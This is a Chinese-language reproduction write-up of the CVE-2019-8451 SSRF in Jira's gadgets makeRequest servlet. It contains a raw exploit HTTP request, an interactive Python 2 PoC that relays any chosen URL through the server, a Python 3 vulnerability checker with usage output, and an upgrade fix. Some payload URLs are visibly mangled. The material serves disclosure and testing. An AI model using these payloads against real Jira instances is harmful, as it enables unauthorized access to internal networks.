Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。
< 8.4.0
此漏洞是在Jira服务器7.6.0版中引入的,并在7.13.9和8.4.0版中进行了修复
Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址:
https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe
安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装)。
通过bupsuit进行请求如下,在响应中可以看到成功探测目标系统存在ssrf漏洞:
GET /plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:[email protected] HTTP/1.1 Host: 10.206.1.8:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchangeb;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 X-Atlassian-Token: no-check Connection: close
其验证POC如下:
import requests import sys # http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:[email protected]/ def ssrf_poc(url, ssrf_url): if url[-1] == '/': url = url[:-1] else: url = url vuln_url = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + '@' + ssrf_url headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Atlassian-Token": "no-check", "Connection": "close" } r = requests.get(url=vuln_url, headers=headers) if r.status_code == 200 and 'set-cookie' in r.content: print "\n>>>>Send poc Success!\n" print 'X-AUSERNAME= %s' % r.headers.get('X-AUSERNAME') print "\n>>>>vuln_url= " + vuln_url + '\n' print r.content else: print "No Vuln Exit!" if __name__ == "__main__": while True: print ssrf_url = raw_input(">>>>SSRF URL: ") url = "http://10.206.1.8:8080" #需要修改成自己的目标jira系统 ssrf_poc(url, ssrf_url)
python CVE-2019-8451.py http://10.206.1.8:8080/
#!/usr/bin/env python3 import argparse import requests import re G, B, R, W, M, C, end = '\033[92m', '\033[94m', '\033[91m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m' info = end + W + "[-]" + W good = end + G + "[+]" + C bad = end + R + "[" + W + "!" + R + "]" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" def check_version(url): target = url response = send_request(target) print(info + " Checking for version..." + end) r1 = re.search('[0-9]{1}\.[0-9]{1}\.[0-9]{1}', str(response)) print(info + " Jira version appears to be: " + r1.group(0) + end) v1 = '8.4.0' v2 = r1.group(0) if comapre_versions(v1, v2) == False: print(bad + " Version seems to indicate it's probably not vulnerable." + end) else: print(good + " Version seems to indicate it might be vulnerable!" + end) def comapre_versions(v1, v2): for i, j in zip(map(int, v1.split(".")), map(int, v2.split("."))): if i == j: continue return i > j return len(v1.split(".")) > len(v2.split(".")) def check_vuln(url): target = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + "@example.com/" response = send_request(target) print(info + " Sending SSRF test..." + end) if '"rc":200' in response and "Example Domain" in response: print(good + " Host appears to be vulnerable! " + end) else: print(bad + " Host doesn't appear to be vulnerable." + end) def send_request(target): headers = {'X-Atlassian-token':'no-check', 'User-Agent':user_agent} try: r = requests.get(target, headers=headers) except Exception as e: print(bad + " Problem with request! " + end) print(e) exit(-1) if (r.status_code != 200): print(info + " Something went wrong! " + end) if (r.status_code == 302): print(bad + " Redirected. Try this instead: " + r.headers['Location'] + end) else: print(bad + " Status: " + str(r.status_code) + end) exit(-1) return(r.text) if __name__ == '__main__': parser = argparse.ArgumentParser(prog='jira-2019-8451.py', description='For checking if a Jira instance is vunlerable to CVE-2019-8451') parser.add_argument("-u", "--url", help="URL of the target Jira instance e.g. '-u https://localhost:8080'") parser.add_argument("-c", "--check", help="Only check the Jira version; doesn't send SSRF attempt", action='store_true') args = parser.parse_args() if not args.url: print(bad + " Missing parameters " + end) parser.print_help() exit(-1) url = str(args.url) print(info + " Testing " + url + "..." + end) if args.check == True: check_version(url) exit(0) else: check_version(url) check_vuln(url)
使用方法:
pip3 install requests $ ./jira-2019-8451.py -h usage: jira-2019-8451.py [-h] [-u URL] [-c] For checking if a Jira instance is vunlerable to CVE-2019-8451 optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of the target Jira instance e.g. '-u https://localhost:8080' -c, --check Only check the Jira version; doesn't send SSRF attempt
D:\Python\Python37>python C:\Users\Administrator\Desktop\jira-2019-8451.py -u http://10.206.1.8:8080
升级到8.4.0及以上版本